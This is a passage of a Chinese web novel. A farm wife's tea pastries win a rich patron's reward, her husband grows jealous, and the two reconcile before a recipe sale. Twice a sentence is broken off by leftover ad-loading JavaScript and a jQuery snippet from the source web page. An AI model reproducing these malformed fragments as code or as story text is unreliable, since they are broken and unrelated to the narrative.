“见多识广?”柳叔恒哈哈笑了几声,有意无意地说道,“比起我,这个词我想更适合你才对吧?” 而那宋昌易自然也是震惊,其实他听过赛螃蟹这道菜。可这道菜最主要的就是能够真的品尝出螃蟹的味道,显然他这里的厨子好像都还不太够格,但见丁宝珠不仅做了,好像自己还挺满意——她竟然做得到? 丁宝珠不答话了,只看柳叔恒示意,又端了一碟子茶点出来,口中道: “第三道——抹茶绿豆雪团子。” 柳叔恒手里一顿,终于是停了下来,面上略有兴致,问道: “抹茶?是茶叶?你把茶叶反而做进了茶点里?” 只见那所谓的雪团子,不过是一颗茶绿色的圆溜溜的团子,只是上面覆上了一层糯米粉,就更多了一层白,像是在雪堆中滚过一遍似的。 好吧,这其实和丁宝珠先前卖的抹茶红豆凉糕没有什么太大的差别,无非是又多了点噱头,可看来他们并不知道这已经是前者卖剩下的了,毕竟她那凉糕的名头再打出去,也仅是在那几个村庄周围转悠而已。 还不等两人再多瞧几眼,丁宝珠做的最后一道茶点也端上了桌: “第四道——玫瑰乌龙琥珀羹。一共四道茶点,还请两位慢用!” 一听到是羹,原以为是道汤羹,却没有想到那碟子里的竟然是一个方方正正的透明膏体,还真的是如同琥珀一样的色泽,甚至都能清楚地见到里面镶嵌着的玫瑰花瓣! 而名字里带上了乌龙二字,想必也是用乌龙茶做的了——又是一道茶制点心! 柳叔恒已经一副跃跃欲试的模样了,便对宋昌易说道: “宋掌柜,咱们赶紧尝尝吧?” 原先只顾着生意的宋昌易也渐渐被这几道精致且新奇的茶点吸引住了,便和前者一起品尝起来——茶点的份量都很少,却也够他们两人的了。 裹着糖水的芋头软糯而细腻,但最重要的,果然还是上面的那一点玫瑰酱。柳叔恒品尝过玫瑰花露,亦或是玫瑰方糕与玫瑰酥糖,所以对于这个味道,他也算是十分熟悉的,既已是熟悉,他便没抱有十分大的期待——但是丁宝珠竟然会做玫瑰酱,就是最让他感到奇异的地方。 而夹着那蜜汁芋在嘴边时,就能嗅到那一抹来自于玫瑰的芬芳。此花的香气很是浓烈,再不断捶打过后,更是变得一丝丝一缕缕,将那香气发挥到了最大,异常扑鼻。 然而丁宝珠想的是,幸好这一道茶点所用的玫瑰酱不多,不然自己不得练出麒麟臂了? 要做这玫瑰酱,就得一层花瓣一层糖再持续敲打,而且如果想要做得完整,花费的时辰可比现在多多了,也就是客满楼里的调料多,她做得也有劲头。 但宋昌易可以说是头一回接触这玫瑰酱,连带着芋头一起吃下,那口中仿佛也漫满了香气,又溢满了甘甜,真可谓是把香与甜扩到了最大化。 柳叔恒也清楚,要做一份上好的玫瑰酱,没几日功夫是不行的,就没多说话,可他抿了抿唇,却蹙眉问道: “我尝着怎么还有一丝酸味?不过这酸味倒也是恰到好处的,没有盖过玫瑰的香甜,反倒是更衬托出来了。” 宋昌易歪着眉毛:他怎么就没尝出来呢?是自己吃太快了?可惜那小碟里总共也没几块儿,而且还是前者点的,只能按下。 丁宝珠笑道:“柳郎君好一副口舌,是我还在里面加入了一些梅汁。” “诶?你这个主意倒还不错!” 正因为这梅汁,让这道点心不是那么甜了,即便不喝茶也是可以入口的。 丁宝珠又笑道: “若不是客满楼的厨房里有提前上的梅子,我也想不到有这招。” 看她这幅自谦的模样,别说是柳叔恒了,宋昌易对她的好感都提升了不少,便又对前者道: “柳郎君,我们还是再尝下一道吧?” 这也是柳叔恒的意思。下一道是那赛螃蟹馅儿的凤眼饺,其实也是一道蒸饺罢了,但是捏出的那个形状,再加上里面露出的半分馅料,远远看上去就如同眼眸一般。 柳叔恒吃过蒸饺,例如蟹粉的、海鲜的,也吃过赛螃蟹这道非常考验技术的菜,可却是第一次见到把赛螃蟹当做馅料塞在饺儿里的。 吃了一口,那表皮近乎可说是吹弹可破,随即便露出了那滑嫩嫩鲜喷喷的馅儿来,雪雪白的软鱼肉,黄烘烘的炒鸡子,的确有一种在吃螃蟹的感觉。 宋昌易不禁赞道:“这个做得好,赶明儿我也让这里的厨子学着做,在其他时刻也能尝到螃蟹的味道了。” 吃过咸的,自然就想着吃甜的了。另一个小碟里斜放着两个圆溜溜的抹茶红豆雪团子,不得不说,柳叔恒还是还是比较好奇这两道以茶入点的吃食。 咬破软皮,里面的抹茶酱便喷涌而出,里面还夹杂着一些饱满的红豆——准确来说是用糖水煮过的蜜红豆,那抹茶酱是用绿茶做的,即使里面放了糖,也仍然有一抹苦涩却带着清香的回味,可是这样也能凸显出红豆的甜蜜,后者也能压些抹茶的苦味,这两种食材实在是相得益彰,饶是柳叔恒都没怎么吃过这种搭配。 可是他舔着那抹茶酱,却问道: “你这像是酱料一样的东西……不只是煮煮就成了吧?应该还用了其他的食材?” 这次他就没有那么自信了,所以只是询问。 丁宝珠不好意思道: “我还在厨房里见到了一坛牛乳,就给用了,然后做成了抹茶酱,再填入了这雪团子中。” “什么?!” 宋昌易一听就不由得出声,苦着脸道: “那水牛乳我可是托人好不容易才得的,一共就那一小坛子,我还想着今日带回家呢!” 牛乳在这也是极为珍贵的食材,尤其还是更加醇厚味浓的水牛乳,所以宋昌易也根本没想着把这个料理了售卖,而是想带回家和家人享用的。 原来想着放在厨房里,就算有人偷拿了也能知道是谁,没想到还是被拿了,偏偏还是用来做事,也埋怨不得。 柳叔恒不耐地打断道: “宋掌柜,不就是一坛子水牛乳么?到时候我多赔你几坛子再让人送过来不就行了?你就说这点心好不好吃吧!” 宋昌易噎了噎,不说话了。既是为了那赔的水牛乳,也是因为这点心确实好吃,无言以对了。 而最后一道则是大轴的玫瑰乌龙琥珀羹,后两道本来就是冷食,所以放到后面依然是不变的。 这琥珀羹的顶端上用了玫瑰花瓣作为配饰,之前还没怎么认真观察过,然而现在细细看去,却发现上半部分是透明的,可下半部分却不是,里面像是嵌着另一种食材,可这样就更像是能包裹住其他事物形成奇观的琥珀了。 碟中总共就那么方方正正的一块儿,柳叔恒和宋昌易就分别从两端舀了一小勺,那触感犹如削铁如泥一样,被勺尖碰到了,那琥珀羹竟然还顺势晃动了起来——感觉比起吃,这更适合作为一个观赏品。 入口弹牙润滑继而清爽,回味还有种醇香的花果气息,果然是用乌龙茶做的,而下面那一半,他们总算知道是什么了——原来是豆沙馅,而且是带着香味的玫瑰豆沙馅。 柳叔恒舒心极了,一连喊了三声好字,才道: “难得你有那么多巧妙的心思,你不出来开个店发展发展,那真是可惜了!” 宋昌易则是匝巴匝巴嘴,稀奇道: “这味道,怎么感觉和凉粉差不多?” 柳叔恒叹了口气:“宋掌柜,这时候你就别打破这气氛了好吗?” 丁宝珠则是笑道: “可不是?我用了宋掌柜的那些红丝菜做的,把红丝菜熬出胶来就行了。” “哎呦,这倒是个好主意,平常顶多见人们用来做凉粉,没想到还能做点心,还是这么好看的点心!”宋昌易不住地点头。“而且这红丝菜,其实还算是特产呢,是我一个熟客带给我的,只告诉我可以拿来拌着吃,最适合消暑和下酒了,可你又是怎么知道这做法的?” 丁宝珠随意扯了个理由敷衍道: “我刚在厨房里想着怎么做得新奇些,那用的食材最好也是不常见的,那红丝菜我就尝试了一下,发现能够煮 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 出胶来,就继续往下做了,二位能有几分满意也就够了。” “何止是几分满意,我本来想着就试试你,没想到你给我的惊喜实在是太多了。”柳叔恒啧啧几声,又指着宛如风卷残云般不剩什么的盘碟,对宋昌易道,“宋掌柜,以我估计,这几道点心,起码能卖个三四两了。” 宋昌易思考后也颔首道:“差不离其了。” 然而柳叔恒又瞥了眼,贼笑道: “我是说每道三四两。” 宋昌易吃了一惊,这四道加在一起竟能有这么多?怪不得那些有了名气的茶楼,反而要比酒楼还挣钱呢,一道茶点总共就能吃上那么几口,却能抵得上他这好几道菜,甚至一桌席了! “好了,耽搁了娘子这么多时间,也耽搁了你的生意,是该结了。”柳叔恒考虑着说道,“我在这也停了不少时日,也该离开了。” 宋昌易不知怎么就松了口气,这大佛可算要走了,不然他这个小庙可真要供不起了。 但丁宝珠想的就不同了,一双眼眨巴眨巴地看着柳叔恒。 做都做好了,也没有很不满意,总该结钱了吧? 柳叔恒见她这样急不可耐,便笑道:“你别急啊,我又没说不赏你,毕竟你这次做的真的很不错,我都怀疑你究竟是不是一个普通农妇了。” 丁宝珠只是模棱两可地笑道: “那还不是为了讨柳郎君的赏,我才想方设法的么?也幸好您满意,这就是最好的了。” 柳叔恒轻笑了笑,就让候在门外的小厮进来,取了个平常荷包,里面封了银子给了丁宝珠。 丁宝珠不留声色地掂了掂,心里冷不丁咕咚一下——这重量,自打她穿越后就没拿过,也不知有多少? 压下心里激动,丁宝珠又笑道: “多谢柳郎君的赏,下次若是又来附近了,可以去那村道儿上寻我,我在那里摆摊子摆摊子卖吃食呢。” 宋昌易听闻,冷汗都要下来了——他的店可没法再被祸祸一次了,连忙插嘴道: “时辰不早了,原本我还想着和娘子有事要谈呢,就是不知娘子接下来方不方便。” 包厢里有窗户,而丁宝珠如今也学会了看天色,时辰的确是不早了,况且她就算回家,中间也得也要花时间呢。 柳叔恒此时又道: “不急不急,我的赏还没完呢,正好我在路上买了一盒面果子,倒也算是好看,只是今日吃了你做的点心,感觉也就只剩好看了,就送给你吧,你带回去要么吃了,要么也能送人,都随你。” “柳郎君真是谬赞了,多谢。” 丁宝珠道着谢,那眼熟的一直跟着柳叔恒身边的小厮又取了一个深色刻暗花的木盒递过来,看那样子就是价格不菲的。 接过赏礼,她又说道: “不知宋掌柜找我何事,但天色尚晚,不如明日我再来一趟,正好我本也想着去置办些东西呢。” 宋昌易闷闷说道:“好吧,那娘子你先回去,我们明日再说。” 丁宝珠又多讲了几句,这才兴奋地离开了包厢。而柳叔恒则是又打开了折扇缓缓摇起来,倏忽叹道: “可惜了。” 宋昌易问:“可惜什么?” 柳叔恒勾着唇看向后者道: “可惜她不出来做事,更不在你这里做事,不然我抽空就来一趟。” “……” 宋昌易无语,可这句话不知怎的,蓦然像是扎进了自己心里一样,但也很快就消失了。毕竟那些食肆铺子里倒是有见着厨娘,可酒楼中是从来没见过的,所以纵使今天丁宝珠好好炫了一番技,两人也只是多感叹几句而已。 不过他明白前者十有八/九是玩笑话,便站起身作了个揖道: “柳郎君,我也要下去准备了,您自便吧。” “嗳唉,你别急着走,我这次不但要赏那娘子,还要赏你呢。”柳叔恒歪着头,拉着宋昌易过来,又笑道,“巧妇也难无米之炊,要不有你那些食材,丁娘子又哪能施展一双巧手?所以你也是有功的。” 于是在宋昌易的心里,这大佛立马成为了在现实中的大善人。那名叫来贺儿的小厮又是熟稔地封了银子,像是已经麻木了似地拿过来,活像一个送钱机器。 两人又留着约定了些话,互相打着腔,这些暂且不表,只说那丁宝珠拿着东西,又想着她的扁担还在街边让叶冬儿看着,便急急忙忙地下了台阶就要走。 可巧朱四作为跑堂的之后就一直待在客厅里转悠,看到丁宝珠下来了,赶忙上前道: “娘子,你那边都好了么?” 丁宝珠只好停下来点点头道: “是啊,都好了,就是现在时间不早了,我也该回去了……” 可朱四听了这话,却笑起来,说道: “娘子,你不用这么着急赶回去了,你看看那边,是不是你家里的人?” 丁宝珠愣了愣,也就顺势望过去,果然见到了一个略熟悉的身影—— 79. 花样面果子 他就坐在稍靠角落的桌边,桌上有简单的一瓯子茶水,不是徐晔又是哪个? 丁宝珠与朱四说了声,提着裙摆就快快下楼去,到了那旁,抬手就是往他肩上一拍,欣悦道: “徐晔,你来啦?” 谁知徐晔默默地转过头来,一双眸子黑沉沉的,脸上冷飒飒的,有了表情,却也是似笑非笑,似怒非嗔,片刻才终于阴阳怪气地开口道: “娘子,你终于忙好了?” 丁宝珠又是一怔,好像很久没见到这样的徐晔了,而且他什么时候这样称呼过自己?而她又后知后觉—— 他是不是生气了? 丁宝珠微微往四周瞥了一眼,这时的客满楼已经敞开大门迎客了,恐怕要不了多久,就会成了真如店名一般的状态。 她挠挠头,讪讪地提议道: “徐晔,我们回家吧?” 徐晔斜眼瞅了她两下,一声儿不言语,却仍然是站起了身。丁宝珠这才发现,他旁边竟然还有一副担子,也正是自己挑来的那担子。 丁宝珠想起来什么,问道: “看这担子的人怎么样了?” 徐晔翻了翻眼,哼声道: “如果你是说那个卖饼子的娘子的话,人家的东西早就卖完了,要不是我过来了,人家还巴巴地还在等你回去呢。你在外面久久不回去也就罢了,人家可得赶着回去呢!” 丁宝珠听了,确实有点羞愧,只可惜这里也没什么通讯设备,不然她一定会告诉叶冬儿让她先走。 何况徐晔也在置气,她便软下声儿道: “徐晔,我们先回家吧,有什么事路上再说,好不好?” 徐晔没回答,不过也是去拿那担子了。然而就在这时候,身后却忽然响了话语道: “咦,娘子,你怎么还没走呐?莫非是走之前还要在宋掌柜这儿再光顾光顾生意?” 丁宝珠暗叫不好,回头看去,果然是柳叔恒与宋昌易也下楼来了。那前者还一副公子哥的做派笑眯眯地走过来,不过他也见到了徐晔,又调笑道: “哦,原来是玉郎来迎了?” 徐晔本来仅仅是生着闷气,谁知见到了这宛如玉山,仿佛过着五陵年少生活的白面郎君,还和丁宝珠相熟,心里的火气瞬间犹如灶膛里初生的火焰一般,嘴里更是变得酸酸苦苦的。于是他一手就把那担子给拿起来了,又一手拉过了丁宝珠,几乎是拖着就走,还不忘回头狠狠瞪了一眼。 丁宝珠赔了笑,到底是跟着走了。宋昌易在旁貌似又有了一头的冷汗,而柳叔恒却撇撇嘴,这眼神他可能也见过,是那种直接视为敌人的看门犬,这郎君比后者看着好像还要再凶一点。 不过这也不管他的事了,眼下他就要走了,不知何时他还会再来,这都要看他的心情。于是他与宋昌易别过,就要启程了。 宋昌易颇带点人情世故地问道: “柳郎君这就去了吗?不如再留下吃顿便饭再走?” 柳叔恒眯着眼笑道: “好啊,既然是宋掌柜的意思,那我就恭敬不如从命了,我且再多留一个时辰好了。” 宋昌易:……我怎么就管不住自己这张嘴呢?! 至于他之后认命去亲自去厨房吩咐却被几个厨子追问着丁宝珠到底是哪里的厨娘,这件事已是后话,也按下不表,却说前者跟着徐晔走,道上正好路过她原本在摆摊的地方,叶冬儿果然已经是回去了。 而徐晔此时仿佛有使不完的力气,背着担子就啥也不理睬地一股脑儿往前走去,步子还迈得很大,没过多久竟是一迳又出了祥安镇。 恰逢天边的夕阳是一大片玫瑰金的色彩,火红橙黄,好不绚丽,要是再走得慢些,估摸着到了家都要入夜了。 可忙活了一日,丁宝珠也累了,纵使她腿不短,也难跟得上,只好在后面喊道: “徐晔,你等等我……哎呦!” 徐晔身形一顿,立时回过身,丁宝珠果然一个趔趄继而跌了一跤,摔在了泥巴地上。 他赶忙上去扶,这时才发现那个精致的木盒,冷着脸就把手一松,问道: “你今天到底干啥去了?比以往还要晚回来,也没个音信,你知不知道我有多担……” 他说到这却紧急刹车,可丁宝珠也没听清,只是自己揉了揉膝盖慢慢站了起来,小声道: “我本来带去的东西早早就卖完了,可后来客满楼的宋掌柜请我去,我就去了,然后又在那做了吃食,所以晚了。我见到你的时候已经都好了,正准备收拾收拾回去呢,没想到你也来了。” “废话,我不来找你,还有谁能来找你?”徐晔余气未消,“再说了,那掌柜的让你去,你就那么乖乖跟着去了?我可没见过你这样听话!” 徐晔今天也仍是上山去了,现在还是禁猎,他又与胭脂水粉铺子的老板约定好了,所以依旧是去捕蛇,下半日才回家去的。 但丁宝珠平常最晚午时几刻也就回来了,这次却是超过了这时辰,就连徐晔回去了,前者也不见个踪影,为此李银屏又是多念叨了几句。 徐晔原先想着丁宝珠那么大个人又不是不认路,可能是在路上耽搁了些,可没想到日头都那么晚了还没回来,他也有些担心了,便和家里讲了声,只身就去了祥安镇。 在街道上来回地找,结果人没找到,却见到了自家的扁担,又与那叶冬儿证实了后,他才拿着东西去了客满楼。 可到了客满楼,他唯恐丁宝珠真的是有要紧事儿不方便,也就只好耐着性子先坐了。好在朱四认出了他,知道他是丁宝珠的夫君,还免费添了茶水过来。 徐晔喝着茶,可他一点也没有降火,直到他终于见到了丁宝珠——懵懵懂懂的,他其实也不明白那到底是个什么火气,就好像他从来没有那么焦急过,毕竟作为猎户最忌惮的就是这一点,太过心急不仅吃不了热豆腐,到手的猎物也能跑了。 而见到那柳叔恒,又见丁宝珠这样不当回事,他那莫名的火气就更难消退了。 丁宝珠拍了拍裙摆,继续赔笑道: “我也不是白去做的,讨了赏回来呢,回去了再给你瞧。” “……我不看。”徐晔气呼呼阴沉沉地说道,“待回到家,你就等着吧,姨母肯定是要啰嗦的,到时候我可不向着你说话了!” “……别别别啊!我下次一定想办法给家里提个醒,行不?” “哼!” 一路吵吵闹闹的,总算是在天黑之前回到了家,就连徐翊也从地里回来了,这时院里也摆了餐桌,上面放着晚食。 可在以前,在现下的时辰里,徐家其实已经快要吃完晚食了,但这次桌上的基本没怎么动,显然是在等他们回来再一起吃。 丁宝珠见了,愈发有些愧疚,连忙上前说道: “爹,姨母,我这次在镇上有事做,所以回来得晚了,也没报个信,你们赶紧先吃饭吧!” 徐翊笑道:“不打紧,平安回来就好了,我们等一会儿也没啥。” 李银屏推着饭碗给徐莹徐芝,借题发挥地说道: “好了,你们大嫂总算是回来了,也别再喊饿,可以吃了!” 徐晔心里沉闷闷的,兀自一股气不上不下地堵得慌,便道: “爹,姨母,我不大舒服,过会儿再吃吧。” 徐翊不吭声,心里却起疑,以往他可从来没有这样过——难不成和儿媳妇有了什么间隙? 也不等再问,徐晔就直接回屋了,丁宝珠微微蹙眉,来到饭桌旁说道: “爹,姨母,我装点饭菜去,你们先吃吧!” 徐翊点点头道:“也好,你俩要是真有什么误会了,晔儿那孩子就是不会讲话,再说明白也就好了,常言说床头打架床尾和,可别拖到明天,那就晚了。” 丁宝珠答应了声,就在饭桌本来就置放的碗里盛了饭菜再端进屋中。 而这时都在室外的人们,那心思就各有不同了。李银屏用筷子尖儿戳着饭,见前者走了,才小声对徐翊说: “当家的,你方才有没有看到桌上的那玩意儿?” 徐翊正想吃饭,听到这话又是一怔,反问道:“啥玩意儿?” “哎呀,就是那木头盒子啊!”李银屏颇有点恨铁不成钢地提醒道,“就那做工,肯定不是村里的,你没看那么漂亮?我看连镇上都做不出这样好看的——谁知道儿媳妇今天去干啥了,鬼鬼祟祟的,晔儿去接了才肯回来。而且谅她也没钱能买下那东西,晔儿自然也没钱啊,所以指不定是有人送她的,先不说为啥送,你想想看,啥样的关系能送这么贵重的东西啊?” “……你真是越说越离谱!”徐翊摇摇头,“这点儿媳妇之后肯定会解释的,再说了,她解释也是解释给晔儿,我俩掺和个啥?” 李银屏冷笑一声: “那你说说晔儿咋那么生气,甚至连饭也不吃了?保不齐是在镇上撞见什么不该看到的了吧?” 这下连徐翊也没话了,因为他一时也想不出能反驳的来。 李银屏倒是有一些莫名的兴奋,以前她早就看不惯徐翊向着丁宝珠,如今有了把柄,当然更要多讲几句了,不由得又说: “晔儿曾经都没有这样过吧?还不是娶了媳妇之后才成这样的?当家的,要我说,你给晔儿说亲,这事儿我不反对,但你为啥偏偏要娶那丁家大姐儿过门呢?村里谁不知道她压根就不是个能做媳妇的料!就凭你和丁老二的情谊?你怕是被糊了眼了!你看她刚过门时改的那个样子,现在还不是露出马脚了?……” 李银屏如何在外面絮絮叨叨的,丁宝珠不理,她只是带着所有的东西回到了屋里。那徐晔正坐在桌案边不语,也不知在想什么,脸色依旧阴沉沉的。 丁宝珠把饭菜放下,顿了一顿,坐在他对面,先自顾自吃了起来。 徐晔霎时睁大了眼,立马开口道: “你……你在干啥?” 丁宝珠一边咀嚼着一边含糊道: “吃饭啊,忙了一天都没吃过什么,我快要饿死了。” 她说着,又把另一个碗推过去,说道: “人是铁饭是钢,吃放是很重要的,有什么事也得先吃饭,吃饱了再说。” 这下徐晔不但是堵着气了,那气又开始往上冲,仿佛冲到了天灵盖,又是往下冲,好似冲到了肚脐眼,可他突然又发现那好像真的是自己肚子开始叫唤了,只好憋着气拿起筷子来先吃饭。 今天的晚食普普通通,都是家里如今有的腌菜,除去以前做的,还有那梅干菜炒的笋,新腌的大头菜也是能吃了,同样是菜丝炒的肉丝,这几样单独吃也就罢了,但丁宝珠把饭菜都放在了一起,菜汤丝丝缕缕地渗进去,就形成了拌饭,这样反而把粒粒米饭都裹上了菜的味道,如此舀起一大勺入口,远比平常要香。 吃过饭,丁宝珠就把碗筷先拿了出去,等再到屋里,就发现徐晔一直盯着那木盒看着,察觉她回来,反而把眼神给收回去了,颇有点此地无银的意味。 丁宝珠坐下,又拍了拍身旁的位置道: “过来坐。” 徐晔把头一撇,不答话,丁宝珠又说: “你不是想看吗?坐过来瞧得仔细点,我给你好好讲讲今天的事。” 这么说了,徐晔才犹豫地坐了过去,丁宝珠也就把那木盒打了开来——说实话,她也想见见里面究竟是什么样的。 之前回来时,已是斜阳西落,这时的天空就更加暗淡了,但天边已经出现了一道弯环倩影。 借着那浅薄的光线把盖子打开后,两人皆是一愣:只见里面齐齐整整摆着三列精美玲珑、五颜六色的面果子,一颗颗都是花样,有迎春、杏花、桃花、蔷薇、海棠、梨花、木兰、桐花、牡丹共九朵,俨然是一副春花争艳之景,逼真得像是把真正的花朵给保存了下来一般。 怪道柳叔恒说还能够送人,这不就是那种精装礼盒吗?拿去送人是绝对够格的! 饶是丁宝珠也不得不感叹,这绝对是正经手艺人,自己估摸着是两辈子都赶不上了。 “这……” 徐晔也是满脸讶异,但他很快就收了起来,变得一脸严肃,又问道: “你可以讲讲了——这究竟是咋得来的?一看就是贵重物! 他停了停,又稍稍咬着后槽牙挤着声问: “是不是那白皮送你的?他好端端的送你这干啥?” 丁宝珠当然明白有了误会要尽早解除,特别还是徐晔这种遇到事儿指不定能烂在肚子里的人,更是要讲清了才行,便把今天遇到的所有事都说给他了——除了城管来要钱的那事情。 说完,她又把那荷包拿了出来,说道: “他还赏了我银,不过我也不知道里面有多少。我不骗你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,也不偷不抢,也行得端做得正,若是你信不过我,尽管自己去打听就是了。” 徐晔噘着嘴半晌,才道:“我不是不让你挣钱去,我……我就是看那白皮不顺眼,你看他笑的那样儿,和只狐狸一样,狐狸最狡猾了,有时候被套中了还能逃呢!” 丁宝珠知道他还不爽,任他发泄,又笑呵呵道: “知道了,我以后不和那狐狸走得近,到底来说还是个猎物,我以后就和猎户走得近,如何?” 徐晔一开始没听出来意思,后来终于是反应过来了,口都没开,不知想到了什么,脸上先红了半面,片刻后才恼羞成怒道: “你别给我扯东扯西的,你——” “是是是,不扯不扯,咱好好说。”丁宝珠插嘴道,“原本我就想着在那里卖完最后一批松花吃食的,哪能想到发生了那么多事?而且现在松花也差不多过季了,我就是想做,原材料也是没了的,之后我准备再到那村道儿上摆摊,怎样?” 徐晔哼了一声,过不久才又道: “我也不是说不让你去镇上,也不是不让你去做买卖,只是……” 他说到这却停了下来,突然不知道该怎么说下去,心里也是不知其味。 可丁宝珠似乎比他明白得更快,笑盈盈道: “只是,你见我杳无音信迟迟不归,怕我遇到了什么麻烦,就担心了,还看到我和一个白面郎君走得那么近,就吃醋了,是也不是?” 徐晔脸色一变,成功转为了气急败坏,大声道: “胡说!我哪里担心,哪里吃醋了?你以为你是谁,我用得着这样做吗?” 丁宝珠细微眯着眼似笑非笑了一阵,才继续调笑着吐出一句: “我是你老婆啊。” 徐晔听了,心里又是颤了颤,面上便如同抹了一层椒粉似的,指着就结巴道: “你你你……” “好了,不玩笑了。”丁宝珠也随之正声道,“我知道你没把我往那儿看,但是方才爹也说了,咱俩得把话给说开了,以后也好继续过着,在他们面前也能让他们放心,你说是不是?我现在好好给你解释了一通,都是实话,你信也好,不信也罢,反正就是这些事。” “……我又没说不信你。”徐晔嘟囔了句,又伸手过去道,“那荷包我瞧瞧。” 丁宝珠递了过去,徐晔展开一看,更是吃惊,问道: “那人啥来头?咋赏你这么多?” 丁宝珠迟疑答道: “不清楚,我也只是听其他人提到过两句,但是看他那穿衣打扮又那么闲,肯定是个有钱人就是了,这银子又是我付出所得,拿着也不心虚。” 徐晔掂量了会儿,说道: “这银子起码有五两朝上了,我摸过这重量,就是具体多少,那还要再秤一秤,明儿我在家里找个秤再量量。” 丁宝珠听了,禁不住眉开眼笑。五两银子都能在村里买上几亩田地了,她这次浑身解数可当真没白费力气。 徐晔见她乐得像开了朵牡丹花一样,气也消了不少,而且说得果然没错,把话说开了以后,好像的确舒服了些,反倒是回想过后,觉得自己有点矫情了。 “行了,看你笑的,傻乎乎的!”徐晔压着嘴角说着。 丁宝珠抿抿唇,又把那盒盖子盖上,道: “这面果子虽然精致,但放久了也怕放坏了,等什么时候我们把它分着吃了吧。” “这是你得的,自然听你的。”徐晔叹道,“就是可惜了点,这面果子都能做礼了,直接吃,又填不饱肚子,怕是味道也尝不明白。” “那就先放着,到时候再看吧。” 丁宝珠说着,把面果子和银子都收起来,又打了个哈欠道: “这一天太充实了,我都困了。” “别急着上床,既然忙了一天,梳洗梳洗再睡会比较好。”徐晔说着,又站起身,“我去烧点水来,你等等。” 终于是一身清爽地躺下,丁宝珠偏过头瞧,徐晔已经闭上眼了,但显然并没有睡着,便侧身笑着轻声问道: “徐晔,你不生我气了吧?” 徐晔感到耳边痒丝丝的,攒着眉头,眼睛也不睁开,嗤声道: “你说呢?” “哦……那我和你讲件事呗?” 听见这种商讨似的语气,徐晔抖了抖睫毛,这才掀起了一条缝,问道: “你又要作啥妖了?” 丁宝珠目移,缓缓说: “其实吧……我和宋掌柜答应好,明天还要再去一次那儿。” 徐晔登时张开眼,不快地问: “咋,又找你去做吃食?还是干啥去?——怎么别人不找,偏偏只要你去?” “我也不知道宋掌柜找我什么事,还没说呢,就被打断了,而且好像还是件私事,也就和我约定明日再议了。” 丁宝珠思量着,又不由得啧啧作声道: “不过我猜测,恐怕是和我的吃食上有什么关联,说不定啊,我这回又能得上一笔银钱呢!” 徐晔冷笑道: “你当钱那么好赚,还有人能上赶着给你的?” “无论如何,我都答应人家了,总不能失约啊,而且我看他还挺急咧。”丁宝珠说着,不自主又靠近了点,“徐晔,你就让我去吧,这次我保证不多事,事情办完我就早点回来,好不好?” “……去去去,你属糖稀的?这么黏黏糊糊的干什么!” 徐晔惊得直往旁躺去,可话出口后他又懊恼——口气似乎重了些。 其实他没有生气或是什么,只是丁宝珠蓦地凑过来,那身子不免会互相碰到,暖暖的又软软的,他在一瞬间脑袋里都成白雪皑皑了。 所以他又很快找补道: “你要去便去,我反正又不能拘着你不让你出去,记得早点回家,别让我……我们心里念着!” 丁宝珠嘻嘻笑道: “知道了,下次不让你担心了,从各个方面上!” 听着身边极近的莺声,又是揶揄,徐晔胸间貌似又生出了一团火来,可那一定不是怒火,倒是热燥燥痒剌剌的十分不适,便又羞又气道: “你不是困了吗?还不赶紧睡?” 于是丁宝珠就不再闹腾了——但这是徐晔认为的,可过了一会儿他却觉得,自己好像应该再冲个凉去…… 80. 卖配方 隔天一大早,丁宝珠想着客满楼的事情,即便再困也还是挣扎着起身了,连连打了两个哈欠,她就揉揉眼去梳头洗漱了。 徐晔也迷迷糊糊醒来,却困得起不来身,他已经忘了自己昨晚到底是几时才睡下的了,朦朦胧胧之间似乎还做了梦,梦见…… 已是变得清明的耳朵听见一阵窸窸窣窣的细小声响,转头一瞧,是穿好衣裳的丁宝珠正在扎发髻,不过她只是把头发梳顺了,取一根头绳就在后面胡乱扎,绑紧就好了。 可是徐晔看到最后,却突然开口嗄声道: “等等,你扎歪了。” “嗯?” 丁宝珠这时才发现徐晔醒了,摸了摸自己已梳好的髻,摆摆手道: “没事,不用那么正啦,反正平常人又看不到——那我先出去了哦。” 见丁宝珠离开,徐晔慢慢坐起身。他摸摸脑袋,突然想着,莫说是妆奁了,她好像连一柄镜子也没有。 就连徐莹徐芝都有呢,李银屏自不用说,女子怎么可以没有呢? 心里决定了事,徐晔便起身穿衣。然而在穿的时候,不知是不是恰巧在这时想起了那个模模糊糊的梦,整个人都瞬间清醒了,还立刻红了脸。 于是磨蹭到早食都做好了,徐晔才默默走出了屋。丁宝珠端着碗碟看到他,问道: “咦,徐晔,你的脸怎么红通通的?生病了?” 徐晔把脸撇过去,小声道: “没有,你别管了。” 黑虎过来蹭了蹭腿脚,徐晔就自顾自摸着狗头去了。丁宝珠见他不理自己,也不知又在瞎想什么了,却也不自讨没趣,坐下来一块儿吃饭。 如今徐晔不是去田里干活,就是上山抓蛇,而今天正好轮到他下地去帮徐翊干农活,至于丁宝珠,那当然是再去祥安镇了。 简单吃过后,一家人似乎都有事情做:徐晔徐翊拿着农具就离开了,李银屏也攒了满满一盆换洗衣物,这次准备去村里的溪边洗;而徐莹徐芝预备着外出去割兔草,家里也就剩下黑虎看家了。 丁宝珠带了个筐子启程,因着脚步快,没过多久就来到了祥安镇,记得上一回过来卖那羊肚菌也是这个时辰,那客满楼还在泼水打扫,完全没有开门呢。 只是朱四见着她,那就不是头一回见时的态度了,连忙笑道: “哎呦,娘子这么早就过来了?快请进快请进。” 丁宝珠也笑道:“昨儿见你家掌柜的好像有什么难言之隐,我又正好想在镇上买点东西,早早就来了。” “好好好,我家掌柜的也嘱咐过我了,在大厅里谈事儿肯定不行,您随我来!” 朱四说完,就带着丁宝珠上了二楼雅座,不过这么看来,柳叔恒也一定是离开了,这回可真是没有打扰了,一片清幽。 只过了不久,丁宝珠就见到了宋掌柜,两人寒暄了几句,后者就开门见山地说出了自己的目的。 丁宝珠没想到自己刚纠结起来的事情,竟然马上就有了法子。 她正愁那松针汽水自己没条件大量产出呢,趁着现下已经成了个流行的趋势却没法大肆售卖,她光是想想就心痛。 可这时宋昌易却提出来购买她的方子,倒也不失是个办法,客满楼能产能卖的量一定比自己多,就是这价钱方面还得慎重才行。 